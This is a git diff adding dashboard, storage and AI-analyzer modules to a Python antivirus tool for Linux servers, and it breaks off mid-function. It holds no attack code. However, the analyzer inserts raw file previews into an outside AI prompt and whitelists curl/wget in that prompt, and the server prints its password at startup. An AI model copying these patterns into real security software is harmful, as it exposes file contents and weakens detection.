it.""" + cpu = psutil.cpu_percent(interval=1) + mem = psutil.virtual_memory() + + disks = [] + for part in psutil.disk_partitions(all=False): + try: + usage = psutil.disk_usage(part.mountpoint) + disks.append({ + "mount": part.mountpoint, + "device": part.device, + "total": usage.total, + "used": usage.used, + "free": usage.free, + "percent": usage.percent, + }) + except (PermissionError, OSError): + continue + + try: + load = list(os.getloadavg()) + except (OSError, AttributeError): + load = [0.0, 0.0, 0.0] + + try: + net_conns = len(psutil.net_connections(kind="inet")) + except (psutil.AccessDenied, OSError): + net_conns = 0 + + self.store.record_metric( + cpu=cpu, + mem_pct=mem.percent, + mem_used=mem.used, + mem_total=mem.total, + disk_usage=disks, + load_avg=load, + net_conns=net_conns, + ) + + # Periodic cleanup (~1 in 100 samples). + if random.randint(1, 100) == 1: + self.store.cleanup_old_metrics() + + # ------------------------------------------------------------------ + # One-shot snapshot (no storage) + # ------------------------------------------------------------------ + + @staticmethod + def get_snapshot() -> Dict[str, Any]: + """Return a live system snapshot without persisting it.""" + cpu = psutil.cpu_percent(interval=0.1) + cpu_per_core = psutil.cpu_percent(interval=0.1, percpu=True) + cpu_freq = psutil.cpu_freq(percpu=False) + mem = psutil.virtual_memory() + swap = psutil.swap_memory() + + disks = [] + for part in psutil.disk_partitions(all=False): + try: + usage = psutil.disk_usage(part.mountpoint) + disks.append({ + "mount": part.mountpoint, + "device": part.device, + "total": usage.total, + "used": usage.used, + "percent": usage.percent, + }) + except (PermissionError, OSError): + continue + + try: + load = list(os.getloadavg()) + except (OSError, AttributeError): + load = [0.0, 0.0, 0.0] + + try: + net_conns = len(psutil.net_connections(kind="inet")) + except (psutil.AccessDenied, OSError): + net_conns = 0 + + # Top processes by CPU + top_procs = [] + try: + for p in sorted(psutil.process_iter(['pid', 'name', 'cpu_percent', 'memory_percent']), + key=lambda x: x.info.get('cpu_percent', 0) or 0, reverse=True)[:8]: + info = p.info + if (info.get('cpu_percent') or 0) > 0.1: + top_procs.append({ + "pid": info['pid'], + "name": info['name'] or '?', + "cpu": round(info.get('cpu_percent', 0) or 0, 1), + "mem": round(info.get('memory_percent', 0) or 0, 1), + }) + except Exception: + pass + + return { + "cpu_percent": cpu, + "cpu_per_core": cpu_per_core, + "cpu_cores": psutil.cpu_count(logical=True), + "cpu_freq_mhz": round(cpu_freq.current) if cpu_freq else 0, + "mem_percent": mem.percent, + "mem_used": mem.used, + "mem_total": mem.total, + "mem_available": mem.available, + "mem_cached": getattr(mem, 'cached', 0), + "mem_buffers": getattr(mem, 'buffers', 0), + "swap_percent": swap.percent, + "swap_used": swap.used, + "swap_total": swap.total, + "disk_usage": disks, + "load_avg": load, + "net_connections": net_conns, + "top_processes": top_procs, + "timestamp": datetime.utcnow().isoformat(), + } diff --git a/ayn-antivirus/ayn_antivirus/dashboard/server.py b/ayn-antivirus/ayn_antivirus/dashboard/server.py new file mode 100644 index 0000000..9aa33cb --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/server.py @@ -0,0 +1,427 @@ +"""AYN Antivirus Dashboard — Web Server with Password Auth. + +Lightweight aiohttp server that serves the dashboard SPA and REST API. +Non-localhost access requires username/password authentication via a +session cookie obtained through ``POST /login``. +""" + +from __future__ import annotations + +import logging +import secrets +import time +from typing import Dict, Optional +from urllib.parse import urlparse + +from aiohttp import web + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import QUARANTINE_ENCRYPTION_KEY_FILE +from ayn_antivirus.dashboard.api import setup_routes +from ayn_antivirus.dashboard.collector import MetricsCollector +from ayn_antivirus.dashboard.store import DashboardStore +from ayn_antivirus.dashboard.templates import get_dashboard_html + +logger = logging.getLogger("ayn_antivirus.dashboard.server") + + +# ------------------------------------------------------------------ +# JSON error handler — prevent aiohttp returning HTML on /api/* routes +# ------------------------------------------------------------------ + +@web.middleware +async def json_error_middleware( + request: web.Request, + handler, +) -> web.StreamResponse: + """Catch unhandled exceptions and return JSON for API routes. + + Without this, aiohttp's default error handler returns HTML error + pages, which break frontend ``fetch().json()`` calls. + """ + try: + return await handler(request) + except web.HTTPException as exc: + if request.path.startswith("/api/"): + return web.json_response( + {"error": exc.reason or "Request failed"}, + status=exc.status, + ) + raise + except Exception as exc: + logger.exception("Unhandled error on %s %s", request.method, request.path) + if request.path.startswith("/api/"): + return web.json_response( + {"error": f"Internal server error: {exc}"}, + status=500, + ) + return web.Response( + text="<h1>500 Internal Server Error</h1>", + status=500, + content_type="text/html", + ) + +# ------------------------------------------------------------------ +# Rate limiting state +# ------------------------------------------------------------------ + +_action_timestamps: Dict[str, float] = {} +_RATE_LIMIT_SECONDS = 10 + + +# ------------------------------------------------------------------ +# Authentication middleware +# ------------------------------------------------------------------ + + +@web.middleware +async def auth_middleware( + request: web.Request, + handler, +) -> web.StreamResponse: + """Authenticate all requests. + + * ``/login`` and ``/favicon.ico`` are always allowed. + * All other routes require a valid session cookie. + * Unauthenticated HTML routes serve the login page. + * Unauthenticated ``/api/*`` returns 401. + * POST ``/api/actions/*`` enforces CSRF and rate limiting. + """ + # Login route is always open. + if request.path in ("/login", "/favicon.ico"): + return await handler(request) + + # All requests require auth (no localhost bypass — behind reverse proxy). + # Check session cookie. + session_token = request.app.get("_session_token", "") + cookie = request.cookies.get("ayn_session", "") + authenticated = ( + cookie + and session_token + and secrets.compare_digest(cookie, session_token) + ) + + if not authenticated: + if request.path.startswith("/api/"): + return web.json_response( + {"error": "Unauthorized. Please login."}, status=401, + ) + # Serve login page for HTML routes. + return web.Response( + text=request.app["_login_html"], content_type="text/html", + ) + + # CSRF + rate-limiting for POST action endpoints. + if request.method == "POST" and request.path.startswith("/api/actions/"): + origin = request.headers.get("Origin", "") + if origin: + parsed = urlparse(origin) + origin_host = parsed.hostname or "" + host = request.headers.get("Host", "") + expected = host.split(":")[0] if host else "" + allowed = {expected, "localhost", "127.0.0.1", "::1"} + allowed.discard("") + if origin_host not in allowed: + return web.json_response( + {"error": "CSRF: Origin mismatch"}, status=403, + ) + + now = time.time() + last = _action_timestamps.get(request.path, 0) + if now - last < _RATE_LIMIT_SECONDS: + return web.json_response( + {"error": "Rate limited. Try again in a few seconds."}, + status=429, + ) + _action_timestamps[request.path] = now + + return await handler(request) + + +# ------------------------------------------------------------------ +# Dashboard server +# ------------------------------------------------------------------ + + +class DashboardServer: + """AYN Antivirus dashboard with username/password authentication.""" + + def __init__(self, config: Optional[Config] = None) -> None: + self.config = config or Config() + self.store = DashboardStore(self.config.dashboard_db_path) + self.collector = MetricsCollector(self.store) + self.app = web.Application(middlewares=[json_error_middleware, auth_middleware]) + self._session_token: str = secrets.token_urlsafe(32) + self._runner: Optional[web.AppRunner] = None + self._site: Optional[web.TCPSite] = None + self._setup() + + # ------------------------------------------------------------------ + # Setup + # ------------------------------------------------------------------ + + def _setup(self) -> None: + """Configure the aiohttp application.""" + self.app["_session_token"] = self._session_token + self.app["_login_html"] = self._build_login_page() + + self.app["store"] = self.store + self.app["collector"] = self.collector + self.app["config"] = self.config + + # Quarantine vault (best-effort). + try: + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.app["vault"] = QuarantineVault( + quarantine_dir=self.config.quarantine_path, + key_file_path=QUARANTINE_ENCRYPTION_KEY_FILE, + ) + except Exception as exc: + logger.warning("Quarantine vault not available: %s", exc) + + # API routes (``/api/*``). + setup_routes(self.app) + + # HTML routes. + self.app.router.add_get("/", self._serve_dashboard) + self.app.router.add_get("/dashboard", self._serve_dashboard) + self.app.router.add_get("/login", self._serve_login) + self.app.router.add_post("/login", self._handle_login) + + # Lifecycle hooks. + self.app.on_startup.append(self._on_startup) + self.app.on_shutdown.append(self._on_shutdown) + + # ------------------------------------------------------------------ + # Request handlers + # ------------------------------------------------------------------ + + async def _serve_login(self, request: web.Request) -> web.Response: + """``GET /login`` — render the login page.""" + return web.Response( + text=self.app["_login_html"], content_type="text/html", + ) + + async def _serve_dashboard(self, request: web.Request) -> web.Response: + """``GET /`` or ``GET /dashboard`` — render the SPA. + + The middleware already enforces auth for non-localhost, so if we + reach here the client is authenticated (or local). + """ + html = get_dashboard_html() + return web.Response(text=html, content_type="text/html") + + async def _handle_login(self, request: web.Request) -> web.Response: + """``POST /login`` — validate username/password, set session cookie.""" + try: + body = await request.json() + username = body.get("username", "").strip() + password = body.get("password", "").strip() + except Exception: + return web.json_response({"error": "Invalid request"}, status=400) + + if not username or not password: + return web.json_response( + {"error": "Username and password required"}, status=400, + ) + + valid_user = secrets.compare_digest( + username, self.config.dashboard_username, + ) + valid_pass = secrets.compare_digest( + password, self.config.dashboard_password, + ) + + if not (valid_user and valid_pass): + self.store.log_activity( + f"Failed login attempt from {request.remote}: user={username}", + "WARNING", + "auth", + ) + return web.json_response( + {"error": "Invalid username or password"}, status=401, + ) + + self.store.log_activity( + f"Successful login from {request.remote}: user={username}", + "INFO", + "auth", + ) + response = web.json_response( + {"status": "ok", "message": "Welcome to AYN Antivirus"}, + ) + response.set_cookie( + "ayn_session", + self._session_token, + httponly=True, + max_age=86400, + samesite="Strict", + ) + return response + + # ------------------------------------------------------------------ + # Login page + # ------------------------------------------------------------------ + + @staticmethod + def _build_login_page() -> str: + """Return a polished HTML login form with username + password fields.""" + return '''<!DOCTYPE html> +<html lang="en"><head> +<meta charset="UTF-8"> +<meta name="viewport" content="width=device-width,initial-scale=1.0"> +<title>AYN Antivirus \u2014 Login + + + + +''' + + # ------------------------------------------------------------------ + # Lifecycle hooks + # ------------------------------------------------------------------ + + async def _on_startup(self, app: web.Application) -> None: + await self.collector.start() + self.store.log_activity("Dashboard server started", "INFO", "server") + logger.info( + "Dashboard on http://%s:%d", + self.config.dashboard_host, + self.config.dashboard_port, + ) + + async def _on_shutdown(self, app: web.Application) -> None: + await self.collector.stop() + self.store.log_activity("Dashboard server stopped", "INFO", "server") + self.store.close() + + # ------------------------------------------------------------------ + # Blocking run + # ------------------------------------------------------------------ + + def run(self) -> None: + """Run the dashboard server (blocking).""" + host = self.config.dashboard_host + port = self.config.dashboard_port + print(f"\n \U0001f6e1\ufe0f AYN Antivirus Dashboard") + print(f" \U0001f310 http://{host}:{port}") + print(f" \U0001f464 Username: {self.config.dashboard_username}") + print(f" \U0001f511 Password: {self.config.dashboard_password}") + print(f" Press Ctrl+C to stop\n") + web.run_app(self.app, host=host, port=port, print=None) + + # ------------------------------------------------------------------ + # Async start / stop (non-blocking) + # ------------------------------------------------------------------ + + async def start_async(self) -> None: + """Start the server without blocking.""" + self._runner = web.AppRunner(self.app) + await self._runner.setup() + self._site = web.TCPSite( + self._runner, + self.config.dashboard_host, + self.config.dashboard_port, + ) + await self._site.start() + self.store.log_activity( + "Dashboard server started (async)", "INFO", "server", + ) + + async def stop_async(self) -> None: + """Stop a server previously started with :meth:`start_async`.""" + if self._site: + await self._site.stop() + if self._runner: + await self._runner.cleanup() + await self.collector.stop() + self.store.close() + + +# ------------------------------------------------------------------ +# Convenience entry point +# ------------------------------------------------------------------ + + +def run_dashboard(config: Optional[Config] = None) -> None: + """Create a :class:`DashboardServer` and run it (blocking).""" + DashboardServer(config).run() diff --git a/ayn-antivirus/ayn_antivirus/dashboard/store.py b/ayn-antivirus/ayn_antivirus/dashboard/store.py new file mode 100644 index 0000000..1448c86 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/store.py @@ -0,0 +1,386 @@ +"""Persistent storage for dashboard metrics, threat logs, and scan history.""" + +from __future__ import annotations + +import json +import os +import sqlite3 +import threading +from datetime import datetime, timedelta +from typing import Any, Dict, List, Optional + +from ayn_antivirus.constants import ( + DASHBOARD_MAX_THREATS_DISPLAY, + DASHBOARD_METRIC_RETENTION_HOURS, + DASHBOARD_SCAN_HISTORY_DAYS, + DEFAULT_DASHBOARD_DB_PATH, +) + + +class DashboardStore: + """SQLite-backed store for all dashboard data. + + Parameters + ---------- + db_path: + Path to the SQLite database file. Created automatically if it + does not exist. + """ + + def __init__(self, db_path: str = DEFAULT_DASHBOARD_DB_PATH) -> None: + os.makedirs(os.path.dirname(db_path) or ".", exist_ok=True) + self.db_path = db_path + self._lock = threading.RLock() + self.conn = sqlite3.connect(db_path, check_same_thread=False) + self.conn.row_factory = sqlite3.Row + self.conn.execute("PRAGMA journal_mode=WAL") + self.conn.execute("PRAGMA synchronous=NORMAL") + self._create_tables() + + # ------------------------------------------------------------------ + # Schema + # ------------------------------------------------------------------ + + def _create_tables(self) -> None: + self.conn.executescript(""" + CREATE TABLE IF NOT EXISTS metrics ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + cpu_percent REAL DEFAULT 0, + mem_percent REAL DEFAULT 0, + mem_used INTEGER DEFAULT 0, + mem_total INTEGER DEFAULT 0, + disk_usage_json TEXT DEFAULT '[]', + load_avg_json TEXT DEFAULT '[]', + net_connections INTEGER DEFAULT 0 + ); + CREATE TABLE IF NOT EXISTS threat_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + file_path TEXT, + threat_name TEXT NOT NULL, + threat_type TEXT NOT NULL, + severity TEXT NOT NULL, + detector TEXT, + file_hash TEXT, + action_taken TEXT DEFAULT 'detected', + details TEXT + ); + CREATE TABLE IF NOT EXISTS scan_history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + scan_type TEXT NOT NULL, + scan_path TEXT, + files_scanned INTEGER DEFAULT 0, + files_skipped INTEGER DEFAULT 0, + threats_found INTEGER DEFAULT 0, + duration_seconds REAL DEFAULT 0, + status TEXT DEFAULT 'completed' + ); + CREATE TABLE IF NOT EXISTS signature_updates ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + feed_name TEXT NOT NULL, + hashes_added INTEGER DEFAULT 0, + ips_added INTEGER DEFAULT 0, + domains_added INTEGER DEFAULT 0, + urls_added INTEGER DEFAULT 0, + status TEXT DEFAULT 'success', + details TEXT + ); + CREATE TABLE IF NOT EXISTS activity_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + level TEXT NOT NULL DEFAULT 'INFO', + source TEXT, + message TEXT NOT NULL + ); + CREATE INDEX IF NOT EXISTS idx_metrics_ts ON metrics(timestamp); + CREATE INDEX IF NOT EXISTS idx_threats_ts ON threat_log(timestamp); + CREATE INDEX IF NOT EXISTS idx_threats_severity ON threat_log(severity); + CREATE INDEX IF NOT EXISTS idx_scans_ts ON scan_history(timestamp); + CREATE INDEX IF NOT EXISTS idx_sigs_ts ON signature_updates(timestamp); + CREATE INDEX IF NOT EXISTS idx_activity_ts ON activity_log(timestamp); + """) + self.conn.commit() + + # ------------------------------------------------------------------ + # Metrics + # ------------------------------------------------------------------ + + def record_metric( + self, + cpu: float, + mem_pct: float, + mem_used: int, + mem_total: int, + disk_usage: list, + load_avg: list, + net_conns: int, + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO metrics " + "(cpu_percent, mem_percent, mem_used, mem_total, " + "disk_usage_json, load_avg_json, net_connections) " + "VALUES (?,?,?,?,?,?,?)", + (cpu, mem_pct, mem_used, mem_total, + json.dumps(disk_usage), json.dumps(load_avg), net_conns), + ) + self.conn.commit() + + def get_latest_metrics(self) -> Optional[Dict[str, Any]]: + with self._lock: + row = self.conn.execute( + "SELECT * FROM metrics ORDER BY id DESC LIMIT 1" + ).fetchone() + if not row: + return None + d = dict(row) + d["disk_usage"] = json.loads(d.pop("disk_usage_json", "[]")) + d["load_avg"] = json.loads(d.pop("load_avg_json", "[]")) + return d + + def get_metrics_history(self, hours: int = 1) -> List[Dict[str, Any]]: + cutoff = (datetime.utcnow() - timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + rows = self.conn.execute( + "SELECT * FROM metrics WHERE timestamp >= ? ORDER BY timestamp", + (cutoff,), + ).fetchall() + result: List[Dict[str, Any]] = [] + for r in rows: + d = dict(r) + d["disk_usage"] = json.loads(d.pop("disk_usage_json", "[]")) + d["load_avg"] = json.loads(d.pop("load_avg_json", "[]")) + result.append(d) + return result + + # ------------------------------------------------------------------ + # Threats + # ------------------------------------------------------------------ + + def record_threat( + self, + file_path: str, + threat_name: str, + threat_type: str, + severity: str, + detector: str = "", + file_hash: str = "", + action: str = "detected", + details: str = "", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO threat_log " + "(file_path, threat_name, threat_type, severity, " + "detector, file_hash, action_taken, details) " + "VALUES (?,?,?,?,?,?,?,?)", + (file_path, threat_name, threat_type, severity, + detector, file_hash, action, details), + ) + self.conn.commit() + + def get_recent_threats( + self, limit: int = DASHBOARD_MAX_THREATS_DISPLAY, + ) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM threat_log ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + def get_threat_stats(self) -> Dict[str, Any]: + with self._lock: + total = self.conn.execute( + "SELECT COUNT(*) FROM threat_log" + ).fetchone()[0] + + by_severity: Dict[str, int] = {} + for row in self.conn.execute( + "SELECT severity, COUNT(*) as cnt FROM threat_log GROUP BY severity" + ): + by_severity[row[0]] = row[1] + + cutoff_24h = (datetime.utcnow() - timedelta(hours=24)).strftime("%Y-%m-%d %H:%M:%S") + cutoff_7d = (datetime.utcnow() - timedelta(days=7)).strftime("%Y-%m-%d %H:%M:%S") + + last_24h = self.conn.execute( + "SELECT COUNT(*) FROM threat_log WHERE timestamp >= ?", + (cutoff_24h,), + ).fetchone()[0] + last_7d = self.conn.execute( + "SELECT COUNT(*) FROM threat_log WHERE timestamp >= ?", + (cutoff_7d,), + ).fetchone()[0] + + return { + "total": total, + "by_severity": by_severity, + "last_24h": last_24h, + "last_7d": last_7d, + } + + # ------------------------------------------------------------------ + # Scans + # ------------------------------------------------------------------ + + def record_scan( + self, + scan_type: str, + scan_path: str, + files_scanned: int, + files_skipped: int, + threats_found: int, + duration: float, + status: str = "completed", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO scan_history " + "(scan_type, scan_path, files_scanned, files_skipped, " + "threats_found, duration_seconds, status) " + "VALUES (?,?,?,?,?,?,?)", + (scan_type, scan_path, files_scanned, files_skipped, + threats_found, duration, status), + ) + self.conn.commit() + + def get_recent_scans(self, limit: int = 30) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM scan_history ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + def get_scan_chart_data( + self, days: int = DASHBOARD_SCAN_HISTORY_DAYS, + ) -> List[Dict[str, Any]]: + cutoff = (datetime.utcnow() - timedelta(days=days)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + rows = self.conn.execute( + "SELECT DATE(timestamp) as day, " + "COUNT(*) as scans, " + "SUM(threats_found) as threats, " + "SUM(files_scanned) as files " + "FROM scan_history WHERE timestamp >= ? " + "GROUP BY DATE(timestamp) ORDER BY day", + (cutoff,), + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Signature Updates + # ------------------------------------------------------------------ + + def record_sig_update( + self, + feed_name: str, + hashes: int = 0, + ips: int = 0, + domains: int = 0, + urls: int = 0, + status: str = "success", + details: str = "", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO signature_updates " + "(feed_name, hashes_added, ips_added, domains_added, " + "urls_added, status, details) " + "VALUES (?,?,?,?,?,?,?)", + (feed_name, hashes, ips, domains, urls, status, details), + ) + self.conn.commit() + + def get_recent_sig_updates(self, limit: int = 20) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM signature_updates ORDER BY id DESC LIMIT ?", + (limit,), + ).fetchall() + return [dict(r) for r in rows] + + def get_sig_stats(self) -> Dict[str, Any]: + """Return signature stats from the actual signatures database.""" + result = { + "total_hashes": 0, + "total_ips": 0, + "total_domains": 0, + "total_urls": 0, + "last_update": None, + } + # Try to read live counts from the signatures DB + sig_db_path = self.db_path.replace("dashboard.db", "signatures.db") + try: + import sqlite3 as _sql + sdb = _sql.connect(sig_db_path) + sdb.row_factory = _sql.Row + for tbl, key in [("threats", "total_hashes"), ("ioc_ips", "total_ips"), + ("ioc_domains", "total_domains"), ("ioc_urls", "total_urls")]: + try: + result[key] = sdb.execute(f"SELECT COUNT(*) FROM {tbl}").fetchone()[0] + except Exception: + pass + try: + ts = sdb.execute("SELECT MAX(added_date) FROM threats").fetchone()[0] + result["last_update"] = ts + except Exception: + pass + sdb.close() + except Exception: + # Fallback to dashboard update log + with self._lock: + row = self.conn.execute( + "SELECT SUM(hashes_added), SUM(ips_added), " + "SUM(domains_added), SUM(urls_added) FROM signature_updates" + ).fetchone() + result["total_hashes"] = row[0] or 0 + result["total_ips"] = row[1] or 0 + result["total_domains"] = row[2] or 0 + result["total_urls"] = row[3] or 0 + lu = self.conn.execute( + "SELECT MAX(timestamp) FROM signature_updates" + ).fetchone()[0] + result["last_update"] = lu + return result + + # ------------------------------------------------------------------ + # Activity Log + # ------------------------------------------------------------------ + + def log_activity( + self, + message: str, + level: str = "INFO", + source: str = "system", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO activity_log (level, source, message) VALUES (?,?,?)", + (level, source, message), + ) + self.conn.commit() + + def get_recent_logs(self, limit: int = 20) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM activity_log ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def cleanup_old_metrics( + self, hours: int = DASHBOARD_METRIC_RETENTION_HOURS, + ) -> None: + cutoff = (datetime.utcnow() - timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + self.conn.execute("DELETE FROM metrics WHERE timestamp < ?", (cutoff,)) + self.conn.commit() + + def close(self) -> None: + self.conn.close() diff --git a/ayn-antivirus/ayn_antivirus/dashboard/templates.py b/ayn-antivirus/ayn_antivirus/dashboard/templates.py new file mode 100644 index 0000000..4559889 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/templates.py @@ -0,0 +1,910 @@ +"""AYN Antivirus Dashboard — HTML Template. + +Single-page application with embedded CSS and JavaScript. +All data is fetched from the ``/api/*`` endpoints. +""" + +from __future__ import annotations + + +def get_dashboard_html() -> str: + """Return the complete HTML dashboard as a string.""" + return _HTML + + +_HTML = r""" + + + + +AYN Antivirus — Security Dashboard + + + + + +
+
+ +
Security Dashboard
+
+
+
+
Up
+
+
+
+ + + + + +
+ + +
+ +
+
+
Protection
Active
AI-powered analysis
+
Last Scan
+
Signatures
+
Quarantine
0
Isolated items
+
+
+ + +
+
🧮 CPU Per Core
+
+ +
+
+ + +
+
🧠 Memory Usage
+
+
+ +
+
+
Memory Breakdown
+
+
+
Swap
+
+
+
+
+
+ + +
+
+
Load Average
1 / 5 / 15 min
+
Network Connections
Active inet sockets
+
CPU Frequency
Current MHz
+
+
+ + +
+
⚙️ Top Processes
+
+
PIDProcessCPU %RAM %
Loading…
+
+
+ + +
+
💾 Disk Usage
+
Loading…
+
+ + +
+
⚠️ Threat Summary
+
+
Critical
0
+
High
0
+
Medium
0
+
Low
0
+
+
+ + +
+
📈 Scan Activity (14 days)
+
+ +
+ 🔵 Scans🔴 Threats Found +
+
+
+
+ + +
+
+ + + +
+
+
TimeFile PathThreatTypeSeverityDetectorAI VerdictStatusActions
Loading…
+
+
Page 1
+
+ + +
+
+ + +
+
+
📈 Scan History (30 days)
+
🔵 Scans🔴 Threats
+
+
+
📋 Recent Scans
+
+
TimeTypePathFilesThreatsDurationStatus
Loading…
+
+
+
+ + +
+
+
Hashes
0
+
Malicious IPs
0
+
Domains
0
+
URLs
0
+
+
+ + + + + + +
+
+
All
+
Hashes
+
IPs
+
Domains
+
URLs
+
+
+
Loading…
+
Page 1
+
+
🔄 Recent Updates
+
TimeFeedHashesIPsDomainsURLsStatus
+
+
+ + +
+
+ +
+
+
Containers Found
0
+
Available Runtimes
+
Container Threats
0
+
+
+
📦 Discovered Containers
+
+ +
IDNameImageRuntimeStatusIPPortsAction
Loading…
+
+
+
+
⚠️ Container Threats
+
+ +
TimeContainerThreatTypeSeverityDetails
No container threats ✅
+
+
+
+ + +
+
+
Total Quarantined
0
+
Vault Size
0 B
+
+
IDOriginal PathThreatDateSize
Vault is empty ✅
+
+ + +
+
+
Loading…
+
+ +
+ + +
+ + + +""" diff --git a/ayn-antivirus/ayn_antivirus/detectors/__init__.py b/ayn-antivirus/ayn_antivirus/detectors/__init__.py new file mode 100644 index 0000000..d26e3ae --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/__init__.py @@ -0,0 +1,20 @@ +"""AYN Antivirus detector modules.""" + +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult +from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector +from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector +from ayn_antivirus.detectors.rootkit_detector import RootkitDetector +from ayn_antivirus.detectors.signature_detector import SignatureDetector +from ayn_antivirus.detectors.spyware_detector import SpywareDetector +from ayn_antivirus.detectors.yara_detector import YaraDetector + +__all__ = [ + "BaseDetector", + "DetectionResult", + "CryptominerDetector", + "HeuristicDetector", + "RootkitDetector", + "SignatureDetector", + "SpywareDetector", + "YaraDetector", +] diff --git a/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py b/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py new file mode 100644 index 0000000..e53176b --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py @@ -0,0 +1,268 @@ +"""AYN Antivirus — AI-Powered Threat Analyzer. + +Uses Claude to analyze suspicious files and filter false positives. +Each detection from heuristic/signature scanners is verified by AI +before being reported as a real threat. +""" + +from __future__ import annotations + +import json +import logging +import os +import platform +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Dict, List, Optional + +logger = logging.getLogger(__name__) + +SYSTEM_PROMPT = """Linux VPS antivirus analyst. {environment} +Normal: pip/npm scripts in /usr/local/bin, Docker hex IDs, cron jobs (fstrim/certbot/logrotate), high-entropy archives, curl/wget in deploy scripts, recently-modified files after apt/pip. +Reply ONLY JSON: {{"verdict":"threat"|"safe"|"suspicious","confidence":0-100,"reason":"short","recommended_action":"quarantine"|"delete"|"ignore"|"monitor"}}""" + +ANALYSIS_PROMPT = """FILE:{file_path} DETECT:{threat_name}({threat_type}) SEV:{severity} DET:{detector} CONF:{original_confidence}% SIZE:{file_size} PERM:{permissions} OWN:{owner} MOD:{mtime} +PREVIEW: +{content_preview} +JSON verdict:""" + + +@dataclass +class AIVerdict: + """Result of AI analysis on a detection.""" + verdict: str # threat, safe, suspicious + confidence: int # 0-100 + reason: str + recommended_action: str # quarantine, delete, ignore, monitor + raw_response: str = "" + + @property + def is_threat(self) -> bool: + return self.verdict == "threat" + + @property + def is_safe(self) -> bool: + return self.verdict == "safe" + + +class AIAnalyzer: + """AI-powered threat analysis using Claude.""" + + def __init__(self, api_key: Optional[str] = None, model: str = "claude-sonnet-4-20250514"): + self._api_key = api_key or os.environ.get("ANTHROPIC_API_KEY", "") or self._load_key_from_env_file() + self._model = model + self._client = None + self._environment = self._detect_environment() + + @staticmethod + def _load_key_from_env_file() -> str: + for p in ["/opt/ayn-antivirus/.env", Path.home() / ".ayn-antivirus" / ".env"]: + try: + for line in Path(p).read_text().splitlines(): + line = line.strip() + if line.startswith("ANTHROPIC_API_KEY=") and not line.endswith("="): + return line.split("=", 1)[1].strip().strip("'\"") + except Exception: + pass + return "" + + @property + def available(self) -> bool: + return bool(self._api_key) + + def _get_client(self): + if not self._client: + try: + import anthropic + self._client = anthropic.Anthropic(api_key=self._api_key) + except Exception as exc: + logger.error("Failed to init Anthropic client: %s", exc) + return None + return self._client + + @staticmethod + def _detect_environment() -> str: + """Gather environment context for the AI.""" + import shutil + parts = [ + f"OS: {platform.system()} {platform.release()}", + f"Hostname: {platform.node()}", + f"Arch: {platform.machine()}", + ] + if shutil.which("incus"): + parts.append("Container runtime: Incus/LXC (containers run Docker inside)") + if shutil.which("docker"): + parts.append("Docker: available") + if Path("/etc/dokploy").exists() or shutil.which("dokploy"): + parts.append("Platform: Dokploy (Docker deployment platform)") + + # Check if we're inside a container + if Path("/run/host/container-manager").exists(): + parts.append("Running inside: managed container") + return "\n".join(parts) + + def _get_file_context(self, file_path: str) -> Dict[str, Any]: + """Gather file metadata and content preview.""" + p = Path(file_path) + ctx = { + "file_size": 0, + "permissions": "", + "owner": "", + "mtime": "", + "content_preview": "[file not readable]", + } + try: + st = p.stat() + ctx["file_size"] = st.st_size + ctx["permissions"] = oct(st.st_mode)[-4:] + ctx["mtime"] = str(st.st_mtime) + try: + import pwd + ctx["owner"] = pwd.getpwuid(st.st_uid).pw_name + except Exception: + ctx["owner"] = str(st.st_uid) + except OSError: + pass + + try: + with open(file_path, "rb") as f: + raw = f.read(512) + # Try text decode, fall back to hex + try: + ctx["content_preview"] = raw.decode("utf-8", errors="replace") + except Exception: + ctx["content_preview"] = raw.hex()[:512] + except Exception: + pass + + return ctx + + def analyze( + self, + file_path: str, + threat_name: str, + threat_type: str, + severity: str, + detector: str, + confidence: int = 50, + ) -> AIVerdict: + """Analyze a single detection with AI.""" + if not self.available: + # No API key — pass through as-is + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason="AI analysis unavailable (no API key)", + recommended_action="quarantine", + ) + + client = self._get_client() + if not client: + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason="AI client init failed", + recommended_action="quarantine", + ) + + ctx = 